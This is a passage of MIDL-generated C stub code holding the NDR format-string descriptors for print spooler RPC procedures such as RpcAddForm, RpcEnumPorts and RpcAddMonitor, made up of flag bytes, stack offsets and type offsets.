943 | /* 1034 */ NdrFcShort( 0x38 ), /* 56 */
944 | /* 1036 */ NdrFcShort( 0x40 ), /* 64 */
945 | /* 1038 */ 0x44, /* Oi2 Flags: has return, has ext, */
946 | 0x2, /* 2 */
947 | /* 1040 */ 0x8, /* 8 */
948 | 0x1, /* Ext Flags: new corr desc, */
949 | /* 1042 */ NdrFcShort( 0x0 ), /* 0 */
950 | /* 1044 */ NdrFcShort( 0x0 ), /* 0 */
951 | /* 1046 */ NdrFcShort( 0x0 ), /* 0 */
952 |
953 | /* Parameter phPrinter */
954 |
955 | /* 1048 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */
956 | /* 1050 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
957 | /* 1052 */ NdrFcShort( 0x36 ), /* Type Offset=54 */
958 |
959 | /* Return value */
960 |
961 | /* 1054 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
962 | /* 1056 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
963 | /* 1058 */ 0x8, /* FC_LONG */
964 | 0x0, /* 0 */
965 |
966 | /* Procedure RpcAddForm */
967 |
968 | /* 1060 */ 0x0, /* 0 */
969 | 0x48, /* Old Flags: */
970 | /* 1062 */ NdrFcLong( 0x0 ), /* 0 */
971 | /* 1066 */ NdrFcShort( 0x1e ), /* 30 */
972 | /* 1068 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
973 | /* 1070 */ 0x32, /* FC_BIND_PRIMITIVE */
974 | 0x0, /* 0 */
975 | /* 1072 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
976 | /* 1074 */ NdrFcShort( 0x0 ), /* 0 */
977 | /* 1076 */ NdrFcShort( 0x8 ), /* 8 */
978 | /* 1078 */ 0x44, /* Oi2 Flags: has return, has ext, */
979 | 0x1, /* 1 */
980 | /* 1080 */ 0x8, /* 8 */
981 | 0x1, /* Ext Flags: new corr desc, */
982 | /* 1082 */ NdrFcShort( 0x0 ), /* 0 */
983 | /* 1084 */ NdrFcShort( 0x0 ), /* 0 */
984 | /* 1086 */ NdrFcShort( 0x0 ), /* 0 */
985 |
986 | /* Return value */
987 |
988 | /* 1088 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
989 | /* 1090 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
990 | /* 1092 */ 0x8, /* FC_LONG */
991 | 0x0, /* 0 */
992 |
993 | /* Procedure RpcDeleteForm */
994 |
995 | /* 1094 */ 0x0, /* 0 */
996 | 0x48, /* Old Flags: */
997 | /* 1096 */ NdrFcLong( 0x0 ), /* 0 */
998 | /* 1100 */ NdrFcShort( 0x1f ), /* 31 */
999 | /* 1102 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1000 | /* 1104 */ 0x32, /* FC_BIND_PRIMITIVE */
1001 | 0x0, /* 0 */
1002 | /* 1106 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1003 | /* 1108 */ NdrFcShort( 0x0 ), /* 0 */
1004 | /* 1110 */ NdrFcShort( 0x8 ), /* 8 */
1005 | /* 1112 */ 0x44, /* Oi2 Flags: has return, has ext, */
1006 | 0x1, /* 1 */
1007 | /* 1114 */ 0x8, /* 8 */
1008 | 0x1, /* Ext Flags: new corr desc, */
1009 | /* 1116 */ NdrFcShort( 0x0 ), /* 0 */
1010 | /* 1118 */ NdrFcShort( 0x0 ), /* 0 */
1011 | /* 1120 */ NdrFcShort( 0x0 ), /* 0 */
1012 |
1013 | /* Return value */
1014 |
1015 | /* 1122 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1016 | /* 1124 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1017 | /* 1126 */ 0x8, /* FC_LONG */
1018 | 0x0, /* 0 */
1019 |
1020 | /* Procedure RpcGetForm */
1021 |
1022 | /* 1128 */ 0x0, /* 0 */
1023 | 0x48, /* Old Flags: */
1024 | /* 1130 */ NdrFcLong( 0x0 ), /* 0 */
1025 | /* 1134 */ NdrFcShort( 0x20 ), /* 32 */
1026 | /* 1136 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1027 | /* 1138 */ 0x32, /* FC_BIND_PRIMITIVE */
1028 | 0x0, /* 0 */
1029 | /* 1140 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1030 | /* 1142 */ NdrFcShort( 0x0 ), /* 0 */
1031 | /* 1144 */ NdrFcShort( 0x8 ), /* 8 */
1032 | /* 1146 */ 0x44, /* Oi2 Flags: has return, has ext, */
1033 | 0x1, /* 1 */
1034 | /* 1148 */ 0x8, /* 8 */
1035 | 0x1, /* Ext Flags: new corr desc, */
1036 | /* 1150 */ NdrFcShort( 0x0 ), /* 0 */
1037 | /* 1152 */ NdrFcShort( 0x0 ), /* 0 */
1038 | /* 1154 */ NdrFcShort( 0x0 ), /* 0 */
1039 |
1040 | /* Return value */
1041 |
1042 | /* 1156 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1043 | /* 1158 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1044 | /* 1160 */ 0x8, /* FC_LONG */
1045 | 0x0, /* 0 */
1046 |
1047 | /* Procedure RpcSetForm */
1048 |
1049 | /* 1162 */ 0x0, /* 0 */
1050 | 0x48, /* Old Flags: */
1051 | /* 1164 */ NdrFcLong( 0x0 ), /* 0 */
1052 | /* 1168 */ NdrFcShort( 0x21 ), /* 33 */
1053 | /* 1170 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1054 | /* 1172 */ 0x32, /* FC_BIND_PRIMITIVE */
1055 | 0x0, /* 0 */
1056 | /* 1174 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1057 | /* 1176 */ NdrFcShort( 0x0 ), /* 0 */
1058 | /* 1178 */ NdrFcShort( 0x8 ), /* 8 */
1059 | /* 1180 */ 0x44, /* Oi2 Flags: has return, has ext, */
1060 | 0x1, /* 1 */
1061 | /* 1182 */ 0x8, /* 8 */
1062 | 0x1, /* Ext Flags: new corr desc, */
1063 | /* 1184 */ NdrFcShort( 0x0 ), /* 0 */
1064 | /* 1186 */ NdrFcShort( 0x0 ), /* 0 */
1065 | /* 1188 */ NdrFcShort( 0x0 ), /* 0 */
1066 |
1067 | /* Return value */
1068 |
1069 | /* 1190 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1070 | /* 1192 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1071 | /* 1194 */ 0x8, /* FC_LONG */
1072 | 0x0, /* 0 */
1073 |
1074 | /* Procedure RpcEnumForms */
1075 |
1076 | /* 1196 */ 0x0, /* 0 */
1077 | 0x48, /* Old Flags: */
1078 | /* 1198 */ NdrFcLong( 0x0 ), /* 0 */
1079 | /* 1202 */ NdrFcShort( 0x22 ), /* 34 */
1080 | /* 1204 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1081 | /* 1206 */ 0x32, /* FC_BIND_PRIMITIVE */
1082 | 0x0, /* 0 */
1083 | /* 1208 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1084 | /* 1210 */ NdrFcShort( 0x0 ), /* 0 */
1085 | /* 1212 */ NdrFcShort( 0x8 ), /* 8 */
1086 | /* 1214 */ 0x44, /* Oi2 Flags: has return, has ext, */
1087 | 0x1, /* 1 */
1088 | /* 1216 */ 0x8, /* 8 */
1089 | 0x1, /* Ext Flags: new corr desc, */
1090 | /* 1218 */ NdrFcShort( 0x0 ), /* 0 */
1091 | /* 1220 */ NdrFcShort( 0x0 ), /* 0 */
1092 | /* 1222 */ NdrFcShort( 0x0 ), /* 0 */
1093 |
1094 | /* Return value */
1095 |
1096 | /* 1224 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1097 | /* 1226 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1098 | /* 1228 */ 0x8, /* FC_LONG */
1099 | 0x0, /* 0 */
1100 |
1101 | /* Procedure RpcEnumPorts */
1102 |
1103 | /* 1230 */ 0x0, /* 0 */
1104 | 0x48, /* Old Flags: */
1105 | /* 1232 */ NdrFcLong( 0x0 ), /* 0 */
1106 | /* 1236 */ NdrFcShort( 0x23 ), /* 35 */
1107 | /* 1238 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1108 | /* 1240 */ 0x32, /* FC_BIND_PRIMITIVE */
1109 | 0x0, /* 0 */
1110 | /* 1242 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1111 | /* 1244 */ NdrFcShort( 0x0 ), /* 0 */
1112 | /* 1246 */ NdrFcShort( 0x8 ), /* 8 */
1113 | /* 1248 */ 0x44, /* Oi2 Flags: has return, has ext, */
1114 | 0x1, /* 1 */
1115 | /* 1250 */ 0x8, /* 8 */
1116 | 0x1, /* Ext Flags: new corr desc, */
1117 | /* 1252 */ NdrFcShort( 0x0 ), /* 0 */
1118 | /* 1254 */ NdrFcShort( 0x0 ), /* 0 */
1119 | /* 1256 */ NdrFcShort( 0x0 ), /* 0 */
1120 |
1121 | /* Return value */
1122 |
1123 | /* 1258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1124 | /* 1260 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1125 | /* 1262 */ 0x8, /* FC_LONG */
1126 | 0x0, /* 0 */
1127 |
1128 | /* Procedure RpcEnumMonitors */
1129 |
1130 | /* 1264 */ 0x0, /* 0 */
1131 | 0x48, /* Old Flags: */
1132 | /* 1266 */ NdrFcLong( 0x0 ), /* 0 */
1133 | /* 1270 */ NdrFcShort( 0x24 ), /* 36 */
1134 | /* 1272 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1135 | /* 1274 */ 0x32, /* FC_BIND_PRIMITIVE */
1136 | 0x0, /* 0 */
1137 | /* 1276 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1138 | /* 1278 */ NdrFcShort( 0x0 ), /* 0 */
1139 | /* 1280 */ NdrFcShort( 0x8 ), /* 8 */
1140 | /* 1282 */ 0x44, /* Oi2 Flags: has return, has ext, */
1141 | 0x1, /* 1 */
1142 | /* 1284 */ 0x8, /* 8 */
1143 | 0x1, /* Ext Flags: new corr desc, */
1144 | /* 1286 */ NdrFcShort( 0x0 ), /* 0 */
1145 | /* 1288 */ NdrFcShort( 0x0 ), /* 0 */
1146 | /* 1290 */ NdrFcShort( 0x0 ), /* 0 */
1147 |
1148 | /* Return value */
1149 |
1150 | /* 1292 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1151 | /* 1294 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1152 | /* 1296 */ 0x8, /* FC_LONG */
1153 | 0x0, /* 0 */
1154 |
1155 | /* Procedure Opnum37NotUsedOnWire */
1156 |
1157 | /* 1298 */ 0x0, /* 0 */
1158 | 0x48, /* Old Flags: */
1159 | /* 1300 */ NdrFcLong( 0x0 ), /* 0 */
1160 | /* 1304 */ NdrFcShort( 0x25 ), /* 37 */
1161 | /* 1306 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1162 | /* 1308 */ 0x32, /* FC_BIND_PRIMITIVE */
1163 | 0x0, /* 0 */
1164 | /* 1310 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1165 | /* 1312 */ NdrFcShort( 0x0 ), /* 0 */
1166 | /* 1314 */ NdrFcShort( 0x0 ), /* 0 */
1167 | /* 1316 */ 0x40, /* Oi2 Flags: has ext, */
1168 | 0x0, /* 0 */
1169 | /* 1318 */ 0x8, /* 8 */
1170 | 0x1, /* Ext Flags: new corr desc, */
1171 | /* 1320 */ NdrFcShort( 0x0 ), /* 0 */
1172 | /* 1322 */ NdrFcShort( 0x0 ), /* 0 */
1173 | /* 1324 */ NdrFcShort( 0x0 ), /* 0 */
1174 |
1175 | /* Procedure Opnum38NotUsedOnWire */
1176 |
1177 | /* 1326 */ 0x0, /* 0 */
1178 | 0x48, /* Old Flags: */
1179 | /* 1328 */ NdrFcLong( 0x0 ), /* 0 */
1180 | /* 1332 */ NdrFcShort( 0x26 ), /* 38 */
1181 | /* 1334 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1182 | /* 1336 */ 0x32, /* FC_BIND_PRIMITIVE */
1183 | 0x0, /* 0 */
1184 | /* 1338 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1185 | /* 1340 */ NdrFcShort( 0x0 ), /* 0 */
1186 | /* 1342 */ NdrFcShort( 0x0 ), /* 0 */
1187 | /* 1344 */ 0x40, /* Oi2 Flags: has ext, */
1188 | 0x0, /* 0 */
1189 | /* 1346 */ 0x8, /* 8 */
1190 | 0x1, /* Ext Flags: new corr desc, */
1191 | /* 1348 */ NdrFcShort( 0x0 ), /* 0 */
1192 | /* 1350 */ NdrFcShort( 0x0 ), /* 0 */
1193 | /* 1352 */ NdrFcShort( 0x0 ), /* 0 */
1194 |
1195 | /* Procedure RpcDeletePort */
1196 |
1197 | /* 1354 */ 0x0, /* 0 */
1198 | 0x48, /* Old Flags: */
1199 | /* 1356 */ NdrFcLong( 0x0 ), /* 0 */
1200 | /* 1360 */ NdrFcShort( 0x27 ), /* 39 */
1201 | /* 1362 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1202 | /* 1364 */ 0x32, /* FC_BIND_PRIMITIVE */
1203 | 0x0, /* 0 */
1204 | /* 1366 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1205 | /* 1368 */ NdrFcShort( 0x0 ), /* 0 */
1206 | /* 1370 */ NdrFcShort( 0x8 ), /* 8 */
1207 | /* 1372 */ 0x44, /* Oi2 Flags: has return, has ext, */
1208 | 0x1, /* 1 */
1209 | /* 1374 */ 0x8, /* 8 */
1210 | 0x1, /* Ext Flags: new corr desc, */
1211 | /* 1376 */ NdrFcShort( 0x0 ), /* 0 */
1212 | /* 1378 */ NdrFcShort( 0x0 ), /* 0 */
1213 | /* 1380 */ NdrFcShort( 0x0 ), /* 0 */
1214 |
1215 | /* Return value */
1216 |
1217 | /* 1382 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1218 | /* 1384 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1219 | /* 1386 */ 0x8, /* FC_LONG */
1220 | 0x0, /* 0 */
1221 |
1222 | /* Procedure RpcCreatePrinterIC */
1223 |
1224 | /* 1388 */ 0x0, /* 0 */
1225 | 0x48, /* Old Flags: */
1226 | /* 1390 */ NdrFcLong( 0x0 ), /* 0 */
1227 | /* 1394 */ NdrFcShort( 0x28 ), /* 40 */
1228 | /* 1396 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1229 | /* 1398 */ 0x32, /* FC_BIND_PRIMITIVE */
1230 | 0x0, /* 0 */
1231 | /* 1400 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1232 | /* 1402 */ NdrFcShort( 0x0 ), /* 0 */
1233 | /* 1404 */ NdrFcShort( 0x8 ), /* 8 */
1234 | /* 1406 */ 0x44, /* Oi2 Flags: has return, has ext, */
1235 | 0x1, /* 1 */
1236 | /* 1408 */ 0x8, /* 8 */
1237 | 0x1, /* Ext Flags: new corr desc, */
1238 | /* 1410 */ NdrFcShort( 0x0 ), /* 0 */
1239 | /* 1412 */ NdrFcShort( 0x0 ), /* 0 */
1240 | /* 1414 */ NdrFcShort( 0x0 ), /* 0 */
1241 |
1242 | /* Return value */
1243 |
1244 | /* 1416 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1245 | /* 1418 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1246 | /* 1420 */ 0x8, /* FC_LONG */
1247 | 0x0, /* 0 */
1248 |
1249 | /* Procedure RpcPlayGdiScriptOnPrinterIC */
1250 |
1251 | /* 1422 */ 0x0, /* 0 */
1252 | 0x48, /* Old Flags: */
1253 | /* 1424 */ NdrFcLong( 0x0 ), /* 0 */
1254 | /* 1428 */ NdrFcShort( 0x29 ), /* 41 */
1255 | /* 1430 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1256 | /* 1432 */ 0x32, /* FC_BIND_PRIMITIVE */
1257 | 0x0, /* 0 */
1258 | /* 1434 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1259 | /* 1436 */ NdrFcShort( 0x0 ), /* 0 */
1260 | /* 1438 */ NdrFcShort( 0x8 ), /* 8 */
1261 | /* 1440 */ 0x44, /* Oi2 Flags: has return, has ext, */
1262 | 0x1, /* 1 */
1263 | /* 1442 */ 0x8, /* 8 */
1264 | 0x1, /* Ext Flags: new corr desc, */
1265 | /* 1444 */ NdrFcShort( 0x0 ), /* 0 */
1266 | /* 1446 */ NdrFcShort( 0x0 ), /* 0 */
1267 | /* 1448 */ NdrFcShort( 0x0 ), /* 0 */
1268 |
1269 | /* Return value */
1270 |
1271 | /* 1450 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1272 | /* 1452 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1273 | /* 1454 */ 0x8, /* FC_LONG */
1274 | 0x0, /* 0 */
1275 |
1276 | /* Procedure RpcDeletePrinterIC */
1277 |
1278 | /* 1456 */ 0x0, /* 0 */
1279 | 0x48, /* Old Flags: */
1280 | /* 1458 */ NdrFcLong( 0x0 ), /* 0 */
1281 | /* 1462 */ NdrFcShort( 0x2a ), /* 42 */
1282 | /* 1464 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1283 | /* 1466 */ 0x32, /* FC_BIND_PRIMITIVE */
1284 | 0x0, /* 0 */
1285 | /* 1468 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1286 | /* 1470 */ NdrFcShort( 0x0 ), /* 0 */
1287 | /* 1472 */ NdrFcShort( 0x8 ), /* 8 */
1288 | /* 1474 */ 0x44, /* Oi2 Flags: has return, has ext, */
1289 | 0x1, /* 1 */
1290 | /* 1476 */ 0x8, /* 8 */
1291 | 0x1, /* Ext Flags: new corr desc, */
1292 | /* 1478 */ NdrFcShort( 0x0 ), /* 0 */
1293 | /* 1480 */ NdrFcShort( 0x0 ), /* 0 */
1294 | /* 1482 */ NdrFcShort( 0x0 ), /* 0 */
1295 |
1296 | /* Return value */
1297 |
1298 | /* 1484 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1299 | /* 1486 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1300 | /* 1488 */ 0x8, /* FC_LONG */
1301 | 0x0, /* 0 */
1302 |
1303 | /* Procedure Opnum43NotUsedOnWire */
1304 |
1305 | /* 1490 */ 0x0, /* 0 */
1306 | 0x48, /* Old Flags: */
1307 | /* 1492 */ NdrFcLong( 0x0 ), /* 0 */
1308 | /* 1496 */ NdrFcShort( 0x2b ), /* 43 */
1309 | /* 1498 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1310 | /* 1500 */ 0x32, /* FC_BIND_PRIMITIVE */
1311 | 0x0, /* 0 */
1312 | /* 1502 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1313 | /* 1504 */ NdrFcShort( 0x0 ), /* 0 */
1314 | /* 1506 */ NdrFcShort( 0x0 ), /* 0 */
1315 | /* 1508 */ 0x40, /* Oi2 Flags: has ext, */
1316 | 0x0, /* 0 */
1317 | /* 1510 */ 0x8, /* 8 */
1318 | 0x1, /* Ext Flags: new corr desc, */
1319 | /* 1512 */ NdrFcShort( 0x0 ), /* 0 */
1320 | /* 1514 */ NdrFcShort( 0x0 ), /* 0 */
1321 | /* 1516 */ NdrFcShort( 0x0 ), /* 0 */
1322 |
1323 | /* Procedure Opnum44NotUsedOnWire */
1324 |
1325 | /* 1518 */ 0x0, /* 0 */
1326 | 0x48, /* Old Flags: */
1327 | /* 1520 */ NdrFcLong( 0x0 ), /* 0 */
1328 | /* 1524 */ NdrFcShort( 0x2c ), /* 44 */
1329 | /* 1526 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1330 | /* 1528 */ 0x32, /* FC_BIND_PRIMITIVE */
1331 | 0x0, /* 0 */
1332 | /* 1530 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1333 | /* 1532 */ NdrFcShort( 0x0 ), /* 0 */
1334 | /* 1534 */ NdrFcShort( 0x0 ), /* 0 */
1335 | /* 1536 */ 0x40, /* Oi2 Flags: has ext, */
1336 | 0x0, /* 0 */
1337 | /* 1538 */ 0x8, /* 8 */
1338 | 0x1, /* Ext Flags: new corr desc, */
1339 | /* 1540 */ NdrFcShort( 0x0 ), /* 0 */
1340 | /* 1542 */ NdrFcShort( 0x0 ), /* 0 */
1341 | /* 1544 */ NdrFcShort( 0x0 ), /* 0 */
1342 |
1343 | /* Procedure Opnum45NotUsedOnWire */
1344 |
1345 | /* 1546 */ 0x0, /* 0 */
1346 | 0x48, /* Old Flags: */
1347 | /* 1548 */ NdrFcLong( 0x0 ), /* 0 */
1348 | /* 1552 */ NdrFcShort( 0x2d ), /* 45 */
1349 | /* 1554 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1350 | /* 1556 */ 0x32, /* FC_BIND_PRIMITIVE */
1351 | 0x0, /* 0 */
1352 | /* 1558 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1353 | /* 1560 */ NdrFcShort( 0x0 ), /* 0 */
1354 | /* 1562 */ NdrFcShort( 0x0 ), /* 0 */
1355 | /* 1564 */ 0x40, /* Oi2 Flags: has ext, */
1356 | 0x0, /* 0 */
1357 | /* 1566 */ 0x8, /* 8 */
1358 | 0x1, /* Ext Flags: new corr desc, */
1359 | /* 1568 */ NdrFcShort( 0x0 ), /* 0 */
1360 | /* 1570 */ NdrFcShort( 0x0 ), /* 0 */
1361 | /* 1572 */ NdrFcShort( 0x0 ), /* 0 */
1362 |
1363 | /* Procedure RpcAddMonitor */
1364 |
1365 | /* 1574 */ 0x0, /* 0 */
1366 | 0x48, /* Old Flags: */
1367 | /* 1576 */ NdrFcLong( 0x0 ), /* 0 */
1368 | /* 1580 */ NdrFcShort( 0x2e ), /* 46 */
1369 | /* 1582 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1370 | /* 1584 */ 0x32, /* FC_BIND_PRIMITIVE */
1371 | 0x0, /* 0 */
1372 | /* 1586 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1373 | /* 1588 */ NdrFcShort( 0x0 ), /* 0 */
1374 | /* 1590 */ NdrFcShort( 0x8 ), /* 8 */
1375 | /* 1592 */ 0x44, /* Oi2 Flags: has return, has ext, */
1376 | 0x1, /* 1 */
1377 | /* 1594 */ 0x8, /* 8 */
1378 | 0x1, /* Ext Flags: new corr desc, */
1379 | /* 1596 */ NdrFcShort( 0x0 ), /* 0 */
1380 | /* 1598 */ NdrFcShort( 0x0 ), /* 0 */
1381 | /* 1600 */ NdrFcShort( 0x0 ), /* 0 */
1382 |
1383 | /* Return value */
1384 |
1385 | /* 1602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1386 | /* 1604 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1387 | /* 1606 */ 0x8, /* FC_LONG */
1388 | 0x0, /* 0 */
1389 |
1390 | /* Procedure RpcDeleteMonitor */
1391 |
1392 | /* 1608 */ 0x0, /* 0 */
1393 | 0x48, /* Old Flags: */
1394 | /* 1610 */ NdrFcLong( 0x0 ), /* 0 */
1395 | /* 1614 */ NdrFcShort( 0x2f ), /* 47 */
1396 | /* 1616 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1397 | /* 1618 */ 0x32, /* FC_BIND_PRIMITIVE */
1398 | 0x0, /* 0 */
1399 | /* 1620 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1400 | /* 1622 */ NdrFcShort( 0x0 ), /* 0 */
1401 | /* 1624 */ NdrFcShort( 0x8 ), /* 8 */
1402 | /* 1626 */ 0x44, /* Oi2 Flags: has return, has ext, */
1403 | 0x1, /* 1 */
1404 | /* 1628 */ 0x8, /* 8 */
1405 | 0x1, /* Ext Flags: new corr desc, */
1406 | /* 1630 */ NdrFcShort( 0x0 ), /* 0 */
1407 | /* 1632 */ NdrFcShort( 0x0 ), /* 0 */
1408 | /* 1634 */ NdrFcShort( 0x0 ), /* 0 */
1409 |
1410 | /* Return value */
1411 |
1412 | /* 1636 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1413 | /* 1638 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1414 | /* 1640 */ 0x8, /* FC_LONG */
1415 | 0x0, /* 0 */
1416 |
1417 | /* Procedure RpcDeletePrintProcessor */
1418 |
1419 | /* 1642 */ 0x0, /* 0 */
1420 | 0x48, /* Old Flags: */
1421 | /* 1644 */ NdrFcLong( 0x0 ), /* 0 */
1422 | /* 1648 */ NdrFcShort( 0x30 ), /* 48 */
1423 | /* 1650 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1424 | /* 1652 */ 0x32, /* FC_BIND_PRIMITIVE */
1425 | 0x0, /* 0 */
1426 | /* 1654 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1427 | /* 1656 */ NdrFcShort( 0x0 ), /* 0 */
1428 | /* 1658 */ NdrFcShort( 0x8 ), /* 8 */
1429 | /* 1660 */ 0x44, /* Oi2 Flags: has return, has ext, */
1430 | 0x1, /* 1 */
1431 | /* 1662 */ 0x8, /* 8 */
1432 | 0x1, /* Ext Flags: new corr desc, */
1433 | /* 1664 */ NdrFcShort( 0x0 ), /* 0 */
1434 | /* 1666 */ NdrFcShort( 0x0 ), /* 0 */
1435 | /* 1668 */ NdrFcShort( 0x0 ), /* 0 */
1436 |
1437 | /* Return value */
1438 |
1439 | /* 1670 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1440 | /* 1672 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1441 | /* 1674 */ 0x8, /* FC_LONG */
1442 | 0x0, /* 0 */
1443 |
1444 | /* Procedure Opnum49NotUsedOnWire */
1445 |
1446 | /* 1676 */ 0x0, /* 0 */
1447 | 0x48, /* Old Flags: */
1448 | /* 1678 */ NdrFcLong( 0x0 ), /* 0 */
1449 | /* 1682 */ NdrFcShort( 0x31 ), /* 49 */
1450 | /* 1684 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1451 | /* 1686 */ 0x32, /* FC_BIND_PRIMITIVE */
1452 | 0x0, /* 0 */
1453 | /* 1688 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1454 | /* 1690 */ NdrFcShort( 0x0 ), /* 0 */
1455 | /* 1692 */ NdrFcShort( 0x0 ), /* 0 */
1456 | /* 1694 */ 0x40, /* Oi2 Flags: has ext, */
1457 | 0x0, /* 0 */
1458 | /* 1696 */ 0x8, /* 8 */
1459 | 0x1, /* Ext Flags: new corr desc, */
1460 | /* 1698 */ NdrFcShort( 0x0 ), /* 0 */
1461 | /* 1700 */ NdrFcShort( 0x0 ), /* 0 */
1462 | /* 1702 */ NdrFcShort( 0x0 ), /* 0 */
1463 |
1464 | /* Procedure Opnum50NotUsedOnWire */
1465 |
1466 | /* 1704 */ 0x0, /* 0 */
1467 | 0x48, /* Old Flags: */
1468 | /* 1706 */ NdrFcLong( 0x0 ), /* 0 */
1469 | /* 1710 */ NdrFcShort( 0x32 ), /* 50 */
1470 | /* 1712 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1471 | /* 1714 */ 0x32, /* FC_BIND_PRIMITIVE */
1472 | 0x0, /* 0 */
1473 | /* 1716 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1474 | /* 1718 */ NdrFcShort( 0x0 ), /* 0 */
1475 | /* 1720 */ NdrFcShort( 0x0 ), /* 0 */
1476 | /* 1722 */ 0x40, /* Oi2 Flags: has ext, */
1477 | 0x0, /* 0 */
1478 | /* 1724 */ 0x8, /* 8 */
1479 | 0x1, /* Ext Flags: new corr desc, */
1480 | /* 1726 */ NdrFcShort( 0x0 ), /* 0 */
1481 | /* 1728 */ NdrFcShort( 0x0 ), /* 0 */
1482 | /* 1730 */ NdrFcShort( 0x0 ), /* 0 */
1483 |
1484 | /* Procedure RpcEnumPrintProcessorDatatypes */
1485 |
1486 | /* 1732 */ 0x0, /* 0 */
1487 | 0x48, /* Old Flags: */
1488 | /* 1734 */ NdrFcLong( 0x0 ), /* 0 */
1489 | /* 1738 */ NdrFcShort( 0x33 ), /* 51 */
1490 | /* 1740 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1491 | /* 1742 */ 0x32, /* FC_BIND_PRIMITIVE */
1492 | 0x0, /* 0 */
1493 | /* 1744 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1494 | /* 1746 */ NdrFcShort( 0x0 ), /* 0 */
1495 | /* 1748 */ NdrFcShort( 0x8 ), /* 8 */
1496 | /* 1750 */ 0x44, /* Oi2 Flags: has return, has ext, */
1497 | 0x1, /* 1 */
1498 | /* 1752 */ 0x8, /* 8 */
1499 | 0x1, /* Ext Flags: new corr desc, */
1500 | /* 1754 */ NdrFcShort( 0x0 ), /* 0 */
1501 | /* 1756 */ NdrFcShort( 0x0 ), /* 0 */
1502 | /* 1758 */ NdrFcShort( 0x0 ), /* 0 */
1503 |
1504 | /* Return value */
1505 |
1506 | /* 1760 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
